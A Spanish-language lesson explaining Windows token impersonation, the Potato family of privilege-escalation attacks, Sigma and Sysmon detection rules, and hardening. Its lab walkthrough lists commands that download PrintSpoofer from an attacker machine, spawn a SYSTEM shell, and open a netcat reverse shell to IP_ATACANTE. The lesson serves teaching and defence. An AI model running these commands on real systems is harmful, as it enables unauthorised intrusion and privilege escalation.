Token impersonation en Windows: qué es, cómo se explota y cómo se corrige

En Windows, la seguridad de cada proceso depende de un objeto llamado token de acceso. Este token contiene la identidad del usuario, los grupos a los que pertenece, y los privilegios que tiene asignados. Cuando un proceso intenta acceder a un recurso (un archivo, una clave de registro, un servicio de red), Windows consulta el token del proceso para decidir si la operación está permitida.

El modelo de seguridad de Windows permite que ciertos procesos de servicio suplanten la identidad de otros usuarios mediante un mecanismo llamado impersonation. Un servidor web, por ejemplo, puede impersonar al usuario que hace la petición HTTP para acceder a los archivos con los permisos de ese usuario, no con los del servicio. Pero cuando un atacante obtiene control de un proceso con el privilegio SeImpersonatePrivilege, puede abusar de este mecanismo para robar tokens de procesos privilegiados y escalar a NT AUTHORITY\SYSTEM. Es la tercera lección de la Tanda 10.

Esta lección describe técnicas de escalada de privilegios con fines educativos y defensivos. Las herramientas y métodos mencionados solo deben usarse en entornos de laboratorio autorizados. Su uso contra sistemas sin permiso explícito es ilegal.

Qué es token impersonation#

Un token de acceso en Windows es una estructura de datos del kernel que representa la identidad de seguridad de un proceso o thread. Existen dos tipos:

Primary token. Cada proceso tiene exactamente uno. Se asigna cuando el proceso se crea y define la identidad bajo la cual se ejecuta. Solo el kernel puede asignar un primary token a un proceso.

Impersonation token. Un thread individual puede tener un impersonation token que reemplaza temporalmente al primary token del proceso. Cuando un thread impersona a otro usuario, todas sus operaciones de seguridad se evalúan con el token impersonado, no con el primary token del proceso.

El privilegio clave es SeImpersonatePrivilege. Este privilegio permite a un proceso impersonar tokens de otros usuarios. Por defecto en Windows, los siguientes usuarios lo tienen:

• NT AUTHORITY\LOCAL SERVICE
• NT AUTHORITY\NETWORK SERVICE
• IIS AppPool\* (cuentas de aplicación de IIS)
• Cuentas de servicio de SQL Server, MSSQL
• Cualquier cuenta a la que un administrador le asigne el privilegio

Esto significa que si un atacante compromete un servicio web en IIS, un servicio de base de datos, o cualquier proceso que corra como una cuenta de servicio, probablemente tiene SeImpersonatePrivilege y puede intentar escalar a SYSTEM.

Por qué ocurre: la causa raíz#

La raíz del problema es que SeImpersonatePrivilege es un privilegio muy poderoso que se asigna de forma amplia a cuentas de servicio. Microsoft lo diseñó así porque los servicios legítimamente necesitan impersonar usuarios: un servidor web necesita actuar como el usuario autenticado, un servicio de impresión necesita acceder a archivos con los permisos del usuario que imprime.

El problema aparece cuando un atacante compromete uno de estos servicios. Con SeImpersonatePrivilege, puede:

1. Forzar a un proceso de SYSTEM a autenticarse contra un recurso que el atacante controla (un pipe, un servidor COM, un listener HTTP).
2. Capturar el token de SYSTEM de esa autenticación.
3. Impersonar ese token para ejecutar comandos como SYSTEM.

El mecanismo de captura varía según la técnica, pero el principio es el mismo: forzar una autenticación privilegiada hacia un recurso controlado por el atacante.

# Verificar si la cuenta actual tiene SeImpersonatePrivilege
whoami /priv

# Salida típica de una cuenta de servicio:
# Privilege Name                Description                    State
# ============================= ============================== =======
# SeImpersonatePrivilege        Impersonate a client           Enabled
# SeAssignPrimaryTokenPrivilege Replace a process level token  Enabled

Tipos y variantes#

La familia Potato#

Los ataques Potato son la evolución más significativa en token impersonation. Todos comparten un concepto base: forzar al servicio SYSTEM a autenticarse contra un recurso controlado por el atacante.

JuicyPotato (2018). Explota el mecanismo de activación COM de Windows. Cuando un objeto COM se activa, Windows puede autenticar la solicitud a través de un named pipe. JuicyPotato intercepta esta autenticación usando un CLSID (Class ID) que fuerza la activación como SYSTEM. Fue parcheado en Windows Server 2019 build 1809, que restringió los CLSID utilizables.

PrintSpoofer (2020). Abusa del servicio de impresión de Windows (Spooler). Crea un named pipe con nombre de pipe de impresora y fuerza al servicio Spooler (que corre como SYSTEM) a conectarse. Funciona porque el Spooler se autentifica contra el pipe sin verificar su legitimidad.

GodPotato (2023). Usa una vulnerabilidad en el mecanismo de marshalling de DCOM. Intercepta el resolver OXID para redirigir la autenticación de SYSTEM hacia un pipe controlado. Funciona en versiones recientes de Windows donde JuicyPotato ya no sirve.

Token theft directo#

Además de los ataques Potato, un atacante con SeDebugPrivilege (típicamente un administrador local) puede duplicar directamente el token de un proceso que ya corre como SYSTEM. La API OpenProcess + OpenProcessToken + DuplicateTokenEx + CreateProcessWithToken permite crear un nuevo proceso con el token robado.

Dónde aparece#

Token impersonation es explotable en estos escenarios reales:

• Webshells en IIS. Una webshell ejecutada bajo IIS AppPool\DefaultAppPool tiene SeImpersonatePrivilege. PrintSpoofer o GodPotato escalan directamente a SYSTEM.
• SQL Server. Las cuentas de servicio de SQL Server (NT Service\MSSQLSERVER) tienen SeImpersonatePrivilege. Una inyección SQL que permita ejecución de comandos (xp_cmdshell) da acceso a token impersonation.
• Servicios comprometidos. Cualquier servicio Windows que corra bajo una cuenta con SeImpersonatePrivilege es un candidato.
• Contenedores Windows. Algunos contenedores Windows Server mantienen SeImpersonatePrivilege para la cuenta del servicio.
• Acceso inicial via RCE. Si la vulnerabilidad inicial (RCE en una aplicación web, deserialización, etc.) da ejecución como cuenta de servicio, la escalada vía token impersonation es el siguiente paso natural.

Cómo se detecta#

Para detectar la creación de named pipes sospechosos asociados a PrintSpoofer:

# Regla Sigma: detección de named pipes de PrintSpoofer
title: Suspicious Named Pipe Creation for Token Impersonation
logsource:
    product: windows
    category: pipe_created
detection:
    selection:
        PipeName|contains:
            - '\pipe\spoolss'
            - '\pipe\srvsvc'
    filter_system:
        Image|endswith: '\spoolsv.exe'
    condition: selection and not filter_system
level: high
tags:
    - attack.privilege_escalation
    - attack.t1134.001

Explotación paso a paso en un laboratorio#

Paso 1: verificar privilegios de la cuenta#

Tras obtener acceso al laboratorio Windows como cuenta de servicio:

# Conectar al laboratorio
evil-winrm -i IP_DEL_LAB -u usuario -p contraseña

Verifica los privilegios disponibles:

whoami /priv
# Buscar: SeImpersonatePrivilege    Enabled
# Buscar: SeAssignPrimaryTokenPrivilege    Enabled

Paso 2: identificar la versión de Windows#

La versión determina qué herramienta Potato es viable:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# Windows Server 2019 build 1809+ -> PrintSpoofer o GodPotato
# Windows Server 2016 -> JuicyPotato o PrintSpoofer

Paso 3: verificar que el servicio Spooler está activo#

Para PrintSpoofer, el servicio de impresión debe estar corriendo:

Get-Service Spooler | Select-Object Status, StartType
# Status: Running -> PrintSpoofer es viable

Paso 4: transferir la herramienta al objetivo#

Desde tu máquina atacante, sirve el binario:

# En Kali, servir el archivo
python3 -m http.server 8080

En el objetivo:

# Descargar la herramienta
Invoke-WebRequest -Uri http://IP_ATACANTE:8080/PrintSpoofer64.exe `
    -OutFile C:\Windows\Temp\ps.exe

Paso 5: ejecutar la escalada#

Ejecuta PrintSpoofer para obtener una shell como SYSTEM:

C:\Windows\Temp\ps.exe -i -c "cmd.exe"
# Se abre cmd.exe como NT AUTHORITY\SYSTEM
whoami
# NT AUTHORITY\SYSTEM

Para obtener una reverse shell directamente:

C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\nc.exe IP_ATACANTE 4444 -e cmd.exe"

Qué puede lograr un atacante#

Cómo se corrige#

Reducir la superficie de ataque#

• Principio de mínimo privilegio. Evaluar si cada cuenta de servicio realmente necesita SeImpersonatePrivilege. Para servicios que no necesitan impersonar usuarios, crear cuentas de servicio sin este privilegio usando Managed Service Accounts (gMSA).
• Deshabilitar el servicio Spooler. Si el servidor no necesita imprimir (la mayoría de servidores de aplicación no lo necesitan), deshabilitar el servicio de impresión elimina PrintSpoofer como vector.

# Deshabilitar el servicio de impresión
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

• Usar cuentas de servicio virtuales. Las Virtual Service Accounts (NT SERVICE\<nombre>) tienen un conjunto reducido de privilegios y no necesitan gestión de contraseñas.

Hardening del sistema#

• Windows Defender Credential Guard. Aísla las credenciales en un contenedor protegido por el hypervisor, mitigando el impacto de una escalada a SYSTEM.
• Restringir acceso a named pipes. Configurar SACLs (System Access Control Lists) en named pipes para auditar accesos no autorizados.
• Group Managed Service Accounts (gMSA). Usar gMSA para servicios de dominio. El password se rota automáticamente y solo los hosts autorizados pueden recuperarlo.

Monitorización#

• Auditar el uso de SeImpersonatePrivilege. Habilitar la auditoría de uso de privilegios especiales (Event ID 4672 — Special privileges assigned to new logon).
• Alertar sobre procesos hijo de servicios. Un servicio IIS que lanza cmd.exe o powershell.exe como SYSTEM es un indicador de compromiso claro.
• Monitorizar named pipes. Sysmon Events 17 (pipe created) y 18 (pipe connected) permiten detectar pipes sospechosos.

<!-- Regla Sysmon para detectar named pipes sospechosos -->
<RuleGroup groupRelation="or">
  <PipeEvent onmatch="include">
    <PipeName condition="contains">\pipe\spoolss</PipeName>
    <PipeName condition="contains">\pipe\srvsvc</PipeName>
  </PipeEvent>
</RuleGroup>

Errores comunes al defenderse#

• Asumir que SeImpersonatePrivilege es inofensivo. Es uno de los privilegios más peligrosos en Windows. Cualquier cuenta con este privilegio es un candidato a escalada a SYSTEM.
• No deshabilitar el Spooler en servidores. El servicio de impresión es un vector de ataque recurrente (PrintNightmare CVE-2021-34527, PrintSpoofer). Si el servidor no imprime, el Spooler debe estar deshabilitado.
• Confiar en que los parches eliminan todos los Potato. Microsoft ha parcheado JuicyPotato, pero han surgido GodPotato, SweetPotato y variantes que siguen funcionando. La defensa debe ser arquitectónica, no solo basada en parches.
• No auditar cuentas de servicio. Muchas organizaciones desconocen cuántas cuentas de servicio tienen SeImpersonatePrivilege. Un inventario periódico es esencial.
• Ignorar los logs de Event ID 4672. Este evento registra cuando se asignan privilegios especiales a un nuevo logon. Correlacionado con la creación de procesos, detecta token impersonation.

Preguntas frecuentes#

¿SeImpersonatePrivilege se puede quitar de las cuentas de servicio?#

Sí, pero con precaución. Algunos servicios necesitan este privilegio para funcionar correctamente (IIS necesita impersonar usuarios web). La recomendación es evaluar caso por caso y usar cuentas de servicio dedicadas (gMSA) con solo los privilegios necesarios.

¿PrintSpoofer funciona en Windows 11?#

PrintSpoofer original tiene variantes que funcionan en Windows 11 si el servicio Spooler está habilitado. La mitigación más efectiva es deshabilitar el Spooler si no se necesita.

¿Los ataques Potato funcionan sin SeImpersonatePrivilege?#

No. Todos los ataques Potato requieren SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege. Sin estos privilegios, el proceso no puede usar el token capturado. Por eso la mitigación más efectiva es restringir estos privilegios.

¿Credential Guard protege contra token impersonation?#

No directamente. Credential Guard protege las credenciales almacenadas en LSASS, pero no impide la impersonation de tokens. Lo que mitiga es el impacto post-escalada: aunque el atacante llegue a SYSTEM, no puede extraer credenciales en texto plano de LSASS.

¿Cómo enumero todas las cuentas con SeImpersonatePrivilege en mi dominio?#

Puedes consultar la política de seguridad local de cada equipo con secedit /export o usar GPO para centralizar la configuración. En un entorno de Active Directory, la GPO Computer Configuration, Windows Settings, Security Settings, Local Policies, User Rights Assignment, Impersonate a client after authentication define qué cuentas tienen este privilegio.

Resumen#

• Token impersonation permite a un proceso con SeImpersonatePrivilege asumir la identidad de otro usuario, incluyendo SYSTEM.
• Los ataques Potato (JuicyPotato, PrintSpoofer, GodPotato) fuerzan a SYSTEM a autenticarse contra un recurso controlado por el atacante para capturar su token.
• SeImpersonatePrivilege se asigna por defecto a cuentas de servicio (IIS, SQL Server, NETWORK SERVICE), que son los objetivos principales.
• La mitigación requiere principio de mínimo privilegio, deshabilitar el Spooler en servidores que no imprimen, y usar cuentas gMSA.
• La detección se basa en Sysmon (Events 1, 10, 17, 18), Event ID 4672 (privilegios especiales) y monitorización de procesos hijo de servicios.
• Credential Guard no previene la impersonation pero mitiga el impacto al proteger las credenciales en LSASS.

Fuentes y lecturas recomendadas#

• MITRE ATT&CK T1134.001 — Access Token Manipulation: Token Impersonation/Theft
• MITRE ATT&CK T1134.002 — Access Token Manipulation: Create Process with Token
• Microsoft — Access Tokens
• Microsoft — User Rights Assignment: Impersonate a client after authentication
• Microsoft — Group Managed Service Accounts
• Microsoft — Credential Guard